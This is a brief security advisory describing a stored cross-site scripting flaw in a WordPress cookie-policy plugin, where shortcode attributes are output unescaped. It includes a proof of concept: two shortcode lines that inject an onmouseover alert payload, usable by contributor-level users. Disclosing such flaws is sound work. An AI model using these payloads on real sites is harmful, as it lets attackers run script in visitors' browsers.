The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
As a contributor, put the below shortcode in a post, preview/view it and move the mouse over the red text to trigger the XSS
[cookies_policy_link link='" style=background-color:red; onmouseover=alert(/XSS/)//']
[cookies_policy_link class='" style=background-color:red; onmouseover=alert(/XSS/)//']